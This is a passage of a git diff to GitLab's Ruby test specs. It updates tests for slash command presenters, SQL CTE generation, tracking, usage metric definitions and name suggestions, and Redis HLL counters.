enabled_sidekiq_middlewares.each do |middleware|
- expect_any_instance_of(middleware).to receive(:call).with(*middleware_expected_args).once.and_call_original
+ expect_next_instance_of(middleware) do |middleware_instance|
+ expect(middleware_instance).to receive(:call).with(*middleware_expected_args).once.and_call_original
+ end
end
disabled_sidekiq_middlewares.each do |middleware|
- expect_any_instance_of(middleware).not_to receive(:call)
+ expect(middleware).not_to receive(:new)
end
worker_class.perform_async(*job_args)
diff --git a/spec/lib/gitlab/slash_commands/presenters/issue_comment_spec.rb b/spec/lib/gitlab/slash_commands/presenters/issue_comment_spec.rb
index 109b4b8fee1..690ffb15a5d 100644
--- a/spec/lib/gitlab/slash_commands/presenters/issue_comment_spec.rb
+++ b/spec/lib/gitlab/slash_commands/presenters/issue_comment_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Gitlab::SlashCommands::Presenters::IssueComment do
let_it_be(:project) { create(:project) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:note) { create(:note, project: project, noteable: issue) }
+
let(:author) { note.author }
describe '#present' do
diff --git a/spec/lib/gitlab/slash_commands/presenters/issue_move_spec.rb b/spec/lib/gitlab/slash_commands/presenters/issue_move_spec.rb
index a4d8e3957cf..7b3440b40a7 100644
--- a/spec/lib/gitlab/slash_commands/presenters/issue_move_spec.rb
+++ b/spec/lib/gitlab/slash_commands/presenters/issue_move_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Gitlab::SlashCommands::Presenters::IssueMove do
let_it_be(:project, reload: true) { create(:project) }
let_it_be(:other_project) { create(:project) }
let_it_be(:old_issue, reload: true) { create(:issue, project: project) }
+
let(:new_issue) { Issues::MoveService.new(project, user).execute(old_issue, other_project) }
let(:attachment) { subject[:attachments].first }
diff --git a/spec/lib/gitlab/slash_commands/presenters/issue_new_spec.rb b/spec/lib/gitlab/slash_commands/presenters/issue_new_spec.rb
index 03a94ea5e29..21a983090fb 100644
--- a/spec/lib/gitlab/slash_commands/presenters/issue_new_spec.rb
+++ b/spec/lib/gitlab/slash_commands/presenters/issue_new_spec.rb
@@ -1,19 +1,22 @@
# frozen_string_literal: true
-
require 'spec_helper'
RSpec.describe Gitlab::SlashCommands::Presenters::IssueNew do
+ include Gitlab::Routing
let(:project) { create(:project) }
let(:issue) { create(:issue, project: project) }
- let(:attachment) { subject[:attachments].first }
subject { described_class.new(issue).present }
it { is_expected.to be_a(Hash) }
it 'shows the issue' do
- expect(subject[:response_type]).to be(:in_channel)
- expect(subject).to have_key(:attachments)
- expect(attachment[:title]).to start_with(issue.title)
+ expected_text = "I created an issue on <#{url_for(issue.author)}|#{issue.author.to_reference}>'s behalf: *<#{project_issue_url(issue.project, issue)}|#{issue.to_reference}>* in <#{project.web_url}|#{project.full_name}>"
+
+ expect(subject).to eq(
+ response_type: :in_channel,
+ status: 200,
+ text: expected_text
+ )
end
end
diff --git a/spec/lib/gitlab/slash_commands/run_spec.rb b/spec/lib/gitlab/slash_commands/run_spec.rb
index c9ff580d586..9d204228d21 100644
--- a/spec/lib/gitlab/slash_commands/run_spec.rb
+++ b/spec/lib/gitlab/slash_commands/run_spec.rb
@@ -3,6 +3,26 @@
require 'spec_helper'
RSpec.describe Gitlab::SlashCommands::Run do
+ describe '.match' do
+ it 'returns true for a run command' do
+ expect(described_class.match('run foo')).to be_an_instance_of(MatchData)
+ end
+
+ it 'returns true for a run command with arguments' do
+ expect(described_class.match('run foo bar baz'))
+ .to be_an_instance_of(MatchData)
+ end
+
+ it 'returns true for a command containing newlines' do
+ expect(described_class.match("run foo\nbar\nbaz"))
+ .to be_an_instance_of(MatchData)
+ end
+
+ it 'returns false for an unrelated command' do
+ expect(described_class.match('foo bar')).to be_nil
+ end
+ end
+
describe '.available?' do
it 'returns true when builds are enabled for the project' do
project = double(:project, builds_enabled?: true)
diff --git a/spec/lib/gitlab/snippet_search_results_spec.rb b/spec/lib/gitlab/snippet_search_results_spec.rb
index 2177b2be6d6..fc342b7e9b1 100644
--- a/spec/lib/gitlab/snippet_search_results_spec.rb
+++ b/spec/lib/gitlab/snippet_search_results_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Gitlab::SnippetSearchResults do
include SearchHelpers
let_it_be(:snippet) { create(:snippet, content: 'foo', file_name: 'foo') }
+
let(:results) { described_class.new(snippet.author, 'foo') }
describe '#snippet_titles_count' do
diff --git a/spec/lib/gitlab/sourcegraph_spec.rb b/spec/lib/gitlab/sourcegraph_spec.rb
index ad947475f06..6bebd1ca3e6 100644
--- a/spec/lib/gitlab/sourcegraph_spec.rb
+++ b/spec/lib/gitlab/sourcegraph_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Sourcegraph do
let_it_be(:user) { create(:user) }
+
let(:feature_scope) { true }
before do
diff --git a/spec/lib/gitlab/sql/cte_spec.rb b/spec/lib/gitlab/sql/cte_spec.rb
index fdc150cd4b9..4cf94f4dcab 100644
--- a/spec/lib/gitlab/sql/cte_spec.rb
+++ b/spec/lib/gitlab/sql/cte_spec.rb
@@ -14,7 +14,14 @@ RSpec.describe Gitlab::SQL::CTE do
relation.except(:order).to_sql
end
- expect(sql).to eq("#{name} AS (#{sql1})")
+ expected = [
+ "#{name} AS ",
+ Gitlab::Database::AsWithMaterialized.materialized_if_supported,
+ (' ' unless Gitlab::Database::AsWithMaterialized.materialized_if_supported.blank?),
+ "(#{sql1})"
+ ].join
+
+ expect(sql).to eq(expected)
end
end
@@ -41,4 +48,15 @@ RSpec.describe Gitlab::SQL::CTE do
expect(relation.to_a).to eq(User.where(id: user.id).to_a)
end
end
+
+ it_behaves_like 'CTE with MATERIALIZED keyword examples' do
+ let(:expected_query_block_with_materialized) { 'WITH "some_cte" AS MATERIALIZED (' }
+ let(:expected_query_block_without_materialized) { 'WITH "some_cte" AS (' }
+
+ let(:query) do
+ cte = described_class.new(:some_cte, User.active, **options)
+
+ User.with(cte.to_arel).to_sql
+ end
+ end
end
diff --git a/spec/lib/gitlab/sql/recursive_cte_spec.rb b/spec/lib/gitlab/sql/recursive_cte_spec.rb
index 02611620989..edcacd404c2 100644
--- a/spec/lib/gitlab/sql/recursive_cte_spec.rb
+++ b/spec/lib/gitlab/sql/recursive_cte_spec.rb
@@ -57,4 +57,17 @@ RSpec.describe Gitlab::SQL::RecursiveCTE do
expect(relation.to_a).to eq(User.where(id: user.id).to_a)
end
end
+
+ it_behaves_like 'CTE with MATERIALIZED keyword examples' do
+ # MATERIALIZED keyword is not needed for recursive queries
+ let(:expected_query_block_with_materialized) { 'WITH RECURSIVE "some_cte" AS (' }
+ let(:expected_query_block_without_materialized) { 'WITH RECURSIVE "some_cte" AS (' }
+
+ let(:query) do
+ recursive_cte = described_class.new(:some_cte)
+ recursive_cte << User.active
+
+ User.with.recursive(recursive_cte.to_arel).to_sql
+ end
+ end
end
diff --git a/spec/lib/gitlab/subscription_portal_spec.rb b/spec/lib/gitlab/subscription_portal_spec.rb
index 351af3c07d2..ad1affdac0b 100644
--- a/spec/lib/gitlab/subscription_portal_spec.rb
+++ b/spec/lib/gitlab/subscription_portal_spec.rb
@@ -3,39 +3,41 @@
require 'spec_helper'
RSpec.describe ::Gitlab::SubscriptionPortal do
- describe '.default_subscriptions_url' do
- subject { described_class.default_subscriptions_url }
-
- context 'on non test and non dev environments' do
- before do
- allow(Rails).to receive_message_chain(:env, :test?).and_return(false)
- allow(Rails).to receive_message_chain(:env, :development?).and_return(false)
+ unless Gitlab.jh?
+ describe '.default_subscriptions_url' do
+ subject { described_class.default_subscriptions_url }
+
+ context 'on non test and non dev environments' do
+ before do
+ allow(Rails).to receive_message_chain(:env, :test?).and_return(false)
+ allow(Rails).to receive_message_chain(:env, :development?).and_return(false)
+ end
+
+ it 'returns production subscriptions app URL' do
+ is_expected.to eq('https://customers.gitlab.com')
+ end
end
- it 'returns production subscriptions app URL' do
- is_expected.to eq('https://customers.gitlab.com')
- end
- end
+ context 'on dev environment' do
+ before do
+ allow(Rails).to receive_message_chain(:env, :test?).and_return(false)
+ allow(Rails).to receive_message_chain(:env, :development?).and_return(true)
+ end
- context 'on dev environment' do
- before do
- allow(Rails).to receive_message_chain(:env, :test?).and_return(false)
- allow(Rails).to receive_message_chain(:env, :development?).and_return(true)
+ it 'returns staging subscriptions app url' do
+ is_expected.to eq('https://customers.stg.gitlab.com')
+ end
end
- it 'returns staging subscriptions app url' do
- is_expected.to eq('https://customers.stg.gitlab.com')
- end
- end
-
- context 'on test environment' do
- before do
- allow(Rails).to receive_message_chain(:env, :test?).and_return(true)
- allow(Rails).to receive_message_chain(:env, :development?).and_return(false)
- end
+ context 'on test environment' do
+ before do
+ allow(Rails).to receive_message_chain(:env, :test?).and_return(true)
+ allow(Rails).to receive_message_chain(:env, :development?).and_return(false)
+ end
- it 'returns staging subscriptions app url' do
- is_expected.to eq('https://customers.stg.gitlab.com')
+ it 'returns staging subscriptions app url' do
+ is_expected.to eq('https://customers.stg.gitlab.com')
+ end
end
end
end
diff --git a/spec/lib/gitlab/template/finders/repo_template_finders_spec.rb b/spec/lib/gitlab/template/finders/repo_template_finders_spec.rb
index 05f351be702..793ad1c1959 100644
--- a/spec/lib/gitlab/template/finders/repo_template_finders_spec.rb
+++ b/spec/lib/gitlab/template/finders/repo_template_finders_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Template::Finders::RepoTemplateFinder do
let_it_be(:project) { create(:project, :repository) }
+
let(:categories) { { 'HTML' => 'html' } }
subject(:finder) { described_class.new(project, 'files/', '.html', categories) }
diff --git a/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb b/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
index 0e8647ad78a..65597e6568d 100644
--- a/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
+++ b/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
@@ -41,21 +41,6 @@ RSpec.describe Gitlab::Tracking::Destinations::Snowplow do
.with('category', 'action', 'label', 'property', 1.5, nil, (Time.now.to_f * 1000).to_i)
end
end
-
- describe '#self_describing_event' do
- it 'sends event to tracker' do
- allow(tracker).to receive(:track_self_describing_event).and_call_original
-
- subject.self_describing_event('iglu:com.gitlab/foo/jsonschema/1-0-0', data: { foo: 'bar' })
-
- expect(tracker).to have_received(:track_self_describing_event) do |event, context, timestamp|
- expect(event.to_json[:schema]).to eq('iglu:com.gitlab/foo/jsonschema/1-0-0')
- expect(event.to_json[:data]).to eq(foo: 'bar')
- expect(context).to eq(nil)
- expect(timestamp).to eq((Time.now.to_f * 1000).to_i)
- end
- end
- end
end
context 'when snowplow is not enabled' do
@@ -66,13 +51,5 @@ RSpec.describe Gitlab::Tracking::Destinations::Snowplow do
subject.event('category', 'action', label: 'label', property: 'property', value: 1.5)
end
end
-
- describe '#self_describing_event' do
- it 'does not send event to tracker' do
- expect_any_instance_of(SnowplowTracker::Tracker).not_to receive(:track_self_describing_event)
-
- subject.self_describing_event('iglu:com.gitlab/foo/jsonschema/1-0-0', data: { foo: 'bar' })
- end
- end
end
end
diff --git a/spec/lib/gitlab/tracking/standard_context_spec.rb b/spec/lib/gitlab/tracking/standard_context_spec.rb
index 561edbd38f8..dacd08cf12b 100644
--- a/spec/lib/gitlab/tracking/standard_context_spec.rb
+++ b/spec/lib/gitlab/tracking/standard_context_spec.rb
@@ -58,10 +58,16 @@ RSpec.describe Gitlab::Tracking::StandardContext do
end
context 'with extra data' do
- subject { described_class.new(foo: 'bar') }
+ subject { described_class.new(extra_key_1: 'extra value 1', extra_key_2: 'extra value 2') }
- it 'creates a Snowplow context with the given data' do
- expect(snowplow_context.to_json.dig(:data, :foo)).to eq('bar')
+ it 'includes extra data in `extra` hash' do
+ expect(snowplow_context.to_json.dig(:data, :extra)).to eq(extra_key_1: 'extra value 1', extra_key_2: 'extra value 2')
+ end
+ end
+
+ context 'without extra data' do
+ it 'contains an empty `extra` hash' do
+ expect(snowplow_context.to_json.dig(:data, :extra)).to be_empty
end
end
diff --git a/spec/lib/gitlab/tracking_spec.rb b/spec/lib/gitlab/tracking_spec.rb
index ac052bd7a80..4d856205609 100644
--- a/spec/lib/gitlab/tracking_spec.rb
+++ b/spec/lib/gitlab/tracking_spec.rb
@@ -36,12 +36,12 @@ RSpec.describe Gitlab::Tracking do
end
describe '.event' do
- before do
- allow_any_instance_of(Gitlab::Tracking::Destinations::Snowplow).to receive(:event)
- allow_any_instance_of(Gitlab::Tracking::Destinations::ProductAnalytics).to receive(:event)
- end
-
shared_examples 'delegates to destination' do |klass|
+ before do
+ allow_any_instance_of(Gitlab::Tracking::Destinations::Snowplow).to receive(:event)
+ allow_any_instance_of(Gitlab::Tracking::Destinations::ProductAnalytics).to receive(:event)
+ end
+
it "delegates to #{klass} destination" do
other_context = double(:context)
@@ -51,7 +51,7 @@ RSpec.describe Gitlab::Tracking do
expect(Gitlab::Tracking::StandardContext)
.to receive(:new)
- .with(project: project, user: user, namespace: namespace)
+ .with(project: project, user: user, namespace: namespace, extra_key_1: 'extra value 1', extra_key_2: 'extra value 2')
.and_call_original
expect_any_instance_of(klass).to receive(:event) do |_, category, action, args|
@@ -66,21 +66,21 @@ RSpec.describe Gitlab::Tracking do
end
described_class.event('category', 'action', label: 'label', property: 'property', value: 1.5,
- context: [other_context], project: project, user: user, namespace: namespace)
+ context: [other_context], project: project, user: user, namespace: namespace,
+ extra_key_1: 'extra value 1', extra_key_2: 'extra value 2')
end
end
- include_examples 'delegates to destination', Gitlab::Tracking::Destinations::Snowplow
- include_examples 'delegates to destination', Gitlab::Tracking::Destinations::ProductAnalytics
- end
+ it_behaves_like 'delegates to destination', Gitlab::Tracking::Destinations::Snowplow
+ it_behaves_like 'delegates to destination', Gitlab::Tracking::Destinations::ProductAnalytics
- describe '.self_describing_event' do
- it 'delegates to snowplow destination' do
- expect_any_instance_of(Gitlab::Tracking::Destinations::Snowplow)
- .to receive(:self_describing_event)
- .with('iglu:com.gitlab/foo/jsonschema/1-0-0', data: { foo: 'bar' }, context: nil)
+ it 'tracks errors' do
+ expect(Gitlab::ErrorTracking).to receive(:track_and_raise_for_dev_exception).with(
+ an_instance_of(ContractError),
+ snowplow_category: nil, snowplow_action: 'some_action'
+ )
- described_class.self_describing_event('iglu:com.gitlab/foo/jsonschema/1-0-0', data: { foo: 'bar' })
+ described_class.event(nil, 'some_action')
end
end
end
diff --git a/spec/lib/gitlab/tree_summary_spec.rb b/spec/lib/gitlab/tree_summary_spec.rb
index 661ef507a82..a86afa9cba5 100644
--- a/spec/lib/gitlab/tree_summary_spec.rb
+++ b/spec/lib/gitlab/tree_summary_spec.rb
@@ -226,6 +226,7 @@ RSpec.describe Gitlab::TreeSummary do
describe 'References in commit messages' do
let_it_be(:project) { create(:project, :empty_repo) }
let_it_be(:issue) { create(:issue, project: project) }
+
let(:entries) { summary.summarize.first }
let(:entry) { entries.find { |entry| entry[:file_name] == 'issue.txt' } }
diff --git a/spec/lib/gitlab/untrusted_regexp_spec.rb b/spec/lib/gitlab/untrusted_regexp_spec.rb
index aac3d5e27f5..270c4beec97 100644
--- a/spec/lib/gitlab/untrusted_regexp_spec.rb
+++ b/spec/lib/gitlab/untrusted_regexp_spec.rb
@@ -136,4 +136,22 @@ RSpec.describe Gitlab::UntrustedRegexp do
end
end
end
+
+ describe '#match' do
+ context 'when there are matches' do
+ it 'returns a match object' do
+ result = described_class.new('(?P<number>\d+)').match('hello 10')
+
+ expect(result[:number]).to eq('10')
+ end
+ end
+
+ context 'when there are no matches' do
+ it 'returns nil' do
+ result = described_class.new('(?P<number>\d+)').match('hello')
+
+ expect(result).to be_nil
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/url_builder_spec.rb b/spec/lib/gitlab/url_builder_spec.rb
index 6d055fe3643..b359eb422d7 100644
--- a/spec/lib/gitlab/url_builder_spec.rb
+++ b/spec/lib/gitlab/url_builder_spec.rb
@@ -92,6 +92,7 @@ RSpec.describe Gitlab::UrlBuilder do
context 'when passing a Snippet' do
let_it_be(:personal_snippet) { create(:personal_snippet, :repository) }
let_it_be(:project_snippet) { create(:project_snippet, :repository) }
+
let(:blob) { snippet.blobs.first }
let(:ref) { blob.repository.root_ref }
diff --git a/spec/lib/gitlab/usage/metric_definition_spec.rb b/spec/lib/gitlab/usage/metric_definition_spec.rb
index 8b592838f5d..e99d720058a 100644
--- a/spec/lib/gitlab/usage/metric_definition_spec.rb
+++ b/spec/lib/gitlab/usage/metric_definition_spec.rb
@@ -16,7 +16,8 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
time_frame: 'none',
data_source: 'database',
distribution: %w(ee ce),
- tier: %w(free starter premium ultimate bronze silver gold)
+ tier: %w(free starter premium ultimate bronze silver gold),
+ name: 'count_boards'
}
end
@@ -24,6 +25,13 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
let(:definition) { described_class.new(path, attributes) }
let(:yaml_content) { attributes.deep_stringify_keys.to_yaml }
+ def write_metric(metric, path, content)
+ path = File.join(metric, path)
+ dir = File.dirname(path)
+ FileUtils.mkdir_p(dir)
+ File.write(path, content)
+ end
+
it 'has all definitons valid' do
expect { described_class.definitions }.not_to raise_error(Gitlab::Usage::Metric::InvalidMetricError)
end
@@ -53,6 +61,7 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
:distribution | nil
:distribution | 'test'
:tier | %w(test ee)
+ :name | 'count_<adjective_describing>_boards'
end
with_them do
@@ -82,6 +91,28 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
end
end
+ describe 'statuses' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:status, :skip_validation?) do
+ 'deprecated' | true
+ 'removed' | true
+ 'data_available' | false
+ 'implemented' | false
+ 'not_used' | false
+ end
+
+ with_them do
+ subject(:validation) do
+ described_class.new(path, attributes.merge( { status: status } )).send(:skip_validation?)
+ end
+
+ it 'returns true/false for skip_validation' do
+ expect(validation).to eq(skip_validation?)
+ end
+ end
+ end
+
describe '.load_all!' do
let(:metric1) { Dir.mktmpdir('metric1') }
let(:metric2) { Dir.mktmpdir('metric2') }
@@ -121,12 +152,54 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
FileUtils.rm_rf(metric1)
FileUtils.rm_rf(metric2)
end
+ end
+
+ describe 'dump_metrics_yaml' do
+ let(:other_attributes) do
+ {
+ description: 'Test metric definition',
+ value_type: 'string',
+ product_category: 'collection',
+ product_stage: 'growth',
+ status: 'data_available',
+ default_generation: 'generation_1',
+ key_path: 'counter.category.event',
+ product_group: 'group::product analytics',
+ time_frame: 'none',
+ data_source: 'database',
+ distribution: %w(ee ce),
+ tier: %w(free starter premium ultimate bronze silver gold)
+ }
+ end
+
+ let(:other_yaml_content) { other_attributes.deep_stringify_keys.to_yaml }
+ let(:other_path) { File.join('metrics', 'test_metric.yml') }
+ let(:metric1) { Dir.mktmpdir('metric1') }
+ let(:metric2) { Dir.mktmpdir('metric2') }
+
+ before do
+ allow(described_class).to receive(:paths).and_return(
+ [
+ File.join(metric1, '**', '*.yml'),
+ File.join(metric2, '**', '*.yml')
+ ]
+ )
+ # Reset memoized `definitions` result
+ described_class.instance_variable_set(:@definitions, nil)
+ end
+
+ after do
+ FileUtils.rm_rf(metric1)
+ FileUtils.rm_rf(metric2)
+ end
+
+ subject { described_class.dump_metrics_yaml }
+
+ it 'returns a YAML with both metrics in a sequence' do
+ write_metric(metric1, path, yaml_content)
+ write_metric(metric2, other_path, other_yaml_content)
- def write_metric(metric, path, content)
- path = File.join(metric, path)
- dir = File.dirname(path)
- FileUtils.mkdir_p(dir)
- File.write(path, content)
+ is_expected.to eq([attributes, other_attributes].map(&:deep_stringify_keys).to_yaml)
end
end
end
diff --git a/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb b/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb
index a2a40f17269..db878828cd6 100644
--- a/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll, :clean_
let_it_be(:end_date) { Date.current }
let_it_be(:recorded_at) { Time.current }
let_it_be(:time_period) { { created_at: (start_date..end_date) } }
+
let(:metric_1) { 'metric_1' }
let(:metric_2) { 'metric_2' }
let(:metric_names) { [metric_1, metric_2] }
diff --git a/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb b/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb
index cd0413feab4..34b073b4729 100644
--- a/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe Gitlab::Usage::Metrics::NamesSuggestions::Generator do
describe '#generate' do
shared_examples 'name suggestion' do
it 'return correct name' do
- expect(described_class.generate(key_path)).to eq name_suggestion
+ expect(described_class.generate(key_path)).to match name_suggestion
end
end
@@ -20,7 +20,7 @@ RSpec.describe Gitlab::Usage::Metrics::NamesSuggestions::Generator do
it_behaves_like 'name suggestion' do
# corresponding metric is collected with count(Board)
let(:key_path) { 'counts.boards' }
- let(:name_suggestion) { 'count_boards' }
+ let(:name_suggestion) { /count_boards/ }
end
end
@@ -28,7 +28,44 @@ RSpec.describe Gitlab::Usage::Metrics::NamesSuggestions::Generator do
it_behaves_like 'name suggestion' do
# corresponding metric is collected with distinct_count(ZoomMeeting, :issue_id)
let(:key_path) { 'counts.issues_using_zoom_quick_actions' }
- let(:name_suggestion) { 'count_distinct_issue_id_from_zoom_meetings' }
+ let(:name_suggestion) { /count_distinct_issue_id_from_zoom_meetings/ }
+ end
+ end
+
+ context 'joined relations' do
+ context 'counted attribute comes from joined relation' do
+ it_behaves_like 'name suggestion' do
+ # corresponding metric is collected with:
+ # distinct_count(
+ # ::Clusters::Applications::Ingress.modsecurity_enabled.logging
+ # .joins(cluster: :deployments)
+ # .merge(::Clusters::Cluster.enabled)
+ # .merge(Deployment.success),
+ # ::Deployment.arel_table[:environment_id]
+ # )
+ let(:key_path) { 'counts.ingress_modsecurity_logging' }
+ let(:name_suggestion) do
+ constrains = /'\(clusters_applications_ingress\.modsecurity_enabled = TRUE AND clusters_applications_ingress\.modsecurity_mode = \d+ AND clusters.enabled = TRUE AND deployments.status = \d+\)'/
+ /count_distinct_environment_id_from_<adjective describing\: #{constrains}>_deployments_<with>_<adjective describing\: #{constrains}>_clusters_<having>_<adjective describing\: #{constrains}>_clusters_applications_ingress/
+ end
+ end
+ end
+
+ context 'counted attribute comes from source relation' do
+ it_behaves_like 'name suggestion' do
+ # corresponding metric is collected with count(Issue.with_alert_management_alerts.not_authored_by(::User.alert_bot), start: issue_minimum_id, finish: issue_maximum_id)
+ let(:key_path) { 'counts.issues_created_manually_from_alerts' }
+ let(:name_suggestion) { /count_<adjective describing\: '\(issues\.author_id != \d+\)'>_issues_<with>_alert_management_alerts/ }
+ end
+ end
+ end
+
+ context 'strips off time period constraint' do
+ it_behaves_like 'name suggestion' do
+ # corresponding metric is collected with distinct_count(::Clusters::Cluster.aws_installed.enabled.where(time_period), :user_id)
+ let(:key_path) { 'usage_activity_by_stage_monthly.configure.clusters_platforms_eks' }
+ let(:constraints) { /<adjective describing\: '\(clusters.provider_type = \d+ AND \(cluster_providers_aws\.status IN \(\d+\)\) AND clusters\.enabled = TRUE\)'>/ }
+ let(:name_suggestion) { /count_distinct_user_id_from_#{constraints}_clusters_<with>_#{constraints}_cluster_providers_aws/ }
end
end
@@ -36,7 +73,7 @@ RSpec.describe Gitlab::Usage::Metrics::NamesSuggestions::Generator do
it_behaves_like 'name suggestion' do
# corresponding metric is collected with sum(JiraImportState.finished, :imported_issues_count)
let(:key_path) { 'counts.jira_imports_total_imported_issues_count' }
- let(:name_suggestion) { "sum_imported_issues_count_from_<adjective describing: '(jira_imports.status = 4)'>_jira_imports" }
+ let(:name_suggestion) { /sum_imported_issues_count_from_<adjective describing\: '\(jira_imports\.status = \d+\)'>_jira_imports/ }
end
end
@@ -44,7 +81,7 @@ RSpec.describe Gitlab::Usage::Metrics::NamesSuggestions::Generator do
it_behaves_like 'name suggestion' do
# corresponding metric is collected with add(data[:personal_snippets], data[:project_snippets])
let(:key_path) { 'counts.snippets' }
- let(:name_suggestion) { "add_count_<adjective describing: '(snippets.type = 'PersonalSnippet')'>_snippets_and_count_<adjective describing: '(snippets.type = 'ProjectSnippet')'>_snippets" }
+ let(:name_suggestion) { /add_count_<adjective describing\: '\(snippets\.type = 'PersonalSnippet'\)'>_snippets_and_count_<adjective describing\: '\(snippets\.type = 'ProjectSnippet'\)'>_snippets/ }
end
end
@@ -52,7 +89,7 @@ RSpec.describe Gitlab::Usage::Metrics::NamesSuggestions::Generator do
it_behaves_like 'name suggestion' do
# corresponding metric is collected with redis_usage_data { unique_visit_service.unique_visits_for(targets: :analytics) }
let(:key_path) { 'analytics_unique_visits.analytics_unique_visits_for_any_target' }
- let(:name_suggestion) { '<please fill metric name>' }
+ let(:name_suggestion) { /<please fill metric name, suggested format is: {subject}_{verb}{ing|ed}_{object} eg: users_creating_epics or merge_requests_viewed_in_single_file_mode>/ }
end
end
@@ -60,7 +97,7 @@ RSpec.describe Gitlab::Usage::Metrics::NamesSuggestions::Generator do
it_behaves_like 'name suggestion' do
# corresponding metric is collected with alt_usage_data(fallback: nil) { operating_system }
let(:key_path) { 'settings.operating_system' }
- let(:name_suggestion) { '<please fill metric name>' }
+ let(:name_suggestion) { /<please fill metric name>/ }
end
end
end
diff --git a/spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins_spec.rb b/spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins_spec.rb
new file mode 100644
index 00000000000..fb3bd564e34
--- /dev/null
+++ b/spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::Metrics::NamesSuggestions::RelationParsers::Joins do
+ describe '#accept' do
+ let(:collector) { Arel::Collectors::SubstituteBinds.new(ActiveRecord::Base.connection, Arel::Collectors::SQLString.new) }
+
+ context 'with join added via string' do
+ it 'collects join parts' do
+ arel = Issue.joins('LEFT JOIN projects ON projects.id = issue.project_id')
+
+ arel = arel.arel
+ result = described_class.new(ApplicationRecord.connection).accept(arel)
+
+ expect(result).to match_array [{ source: "projects", constraints: "projects.id = issue.project_id" }]
+ end
+ end
+
+ context 'with join added via arel node' do
+ it 'collects join parts' do
+ source_table = Arel::Table.new('records')
+ joined_table = Arel::Table.new('joins')
+ second_level_joined_table = Arel::Table.new('second_level_joins')
+
+ arel = source_table
+ .from
+ .project(source_table['id'].count)
+ .join(joined_table, Arel::Nodes::OuterJoin)
+ .on(source_table[:id].eq(joined_table[:records_id]))
+ .join(second_level_joined_table, Arel::Nodes::OuterJoin)
+ .on(joined_table[:id].eq(second_level_joined_table[:joins_id]))
+
+ result = described_class.new(ApplicationRecord.connection).accept(arel)
+
+ expect(result).to match_array [{ source: "joins", constraints: "records.id = joins.records_id" }, { source: "second_level_joins", constraints: "joins.id = second_level_joins.joins_id" }]
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage_data_counters/code_review_events_spec.rb b/spec/lib/gitlab/usage_data_counters/code_review_events_spec.rb
index 664e7938a7e..a1dee442131 100644
--- a/spec/lib/gitlab/usage_data_counters/code_review_events_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/code_review_events_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
# If this spec fails, we need to add the new code review event to the correct aggregated metric
RSpec.describe 'Code review events' do
it 'the aggregated metrics contain all the code review metrics' do
- path = Rails.root.join('lib/gitlab/usage_data_counters/aggregated_metrics/code_review.yml')
+ path = Rails.root.join('config/metrics/aggregates/code_review.yml')
aggregated_events = YAML.safe_load(File.read(path), aliases: true)&.map(&:with_indifferent_access)
code_review_aggregated_events = aggregated_events
diff --git a/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
index d12dcdae955..9fc28f6c4ec 100644
--- a/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
@@ -34,6 +34,7 @@ RSpec.describe Gitlab::UsageDataCounters::HLLRedisCounter, :clean_gitlab_redis_s
'source_code',
'incident_management',
'incident_management_alerts',
+ 'incident_management_oncall',
'testing',
'issues_edit',
'ci_secrets_management',
@@ -43,7 +44,8 @@ RSpec.describe Gitlab::UsageDataCounters::HLLRedisCounter, :clean_gitlab_redis_s
'ci_templates',
'quickactions',
'pipeline_authoring',
- 'epics_usage'
+ 'epics_usage',
+ 'secure'
)
end
end
@@ -93,7 +95,25 @@ RSpec.describe Gitlab::UsageDataCounters::HLLRedisCounter, :clean_gitlab_redis_s
end
describe '.track_event' do
- context 'with feature flag set' do
+ context 'with redis_hll_tracking' do
+ it 'tracks the event when feature enabled' do
+ stub_feature_flags(redis_hll_tracking: true)
+
+ expect(Gitlab::Redis::HLL).to receive(:add)
+
+ described_class.track_event(weekly_event, values: 1)
+ end
+
+ it 'does not track the event with feature flag disabled' do
+ stub_feature_flags(redis_hll_tracking: false)
+
+ expect(Gitlab::Redis::HLL).not_to receive(:add)
+
+ described_class.track_event(weekly_event, values: 1)
+ end
+ end
+
+ context 'with event feature flag set' do
it 'tracks the event when feature enabled' do
stub_feature_flags(feature => true)
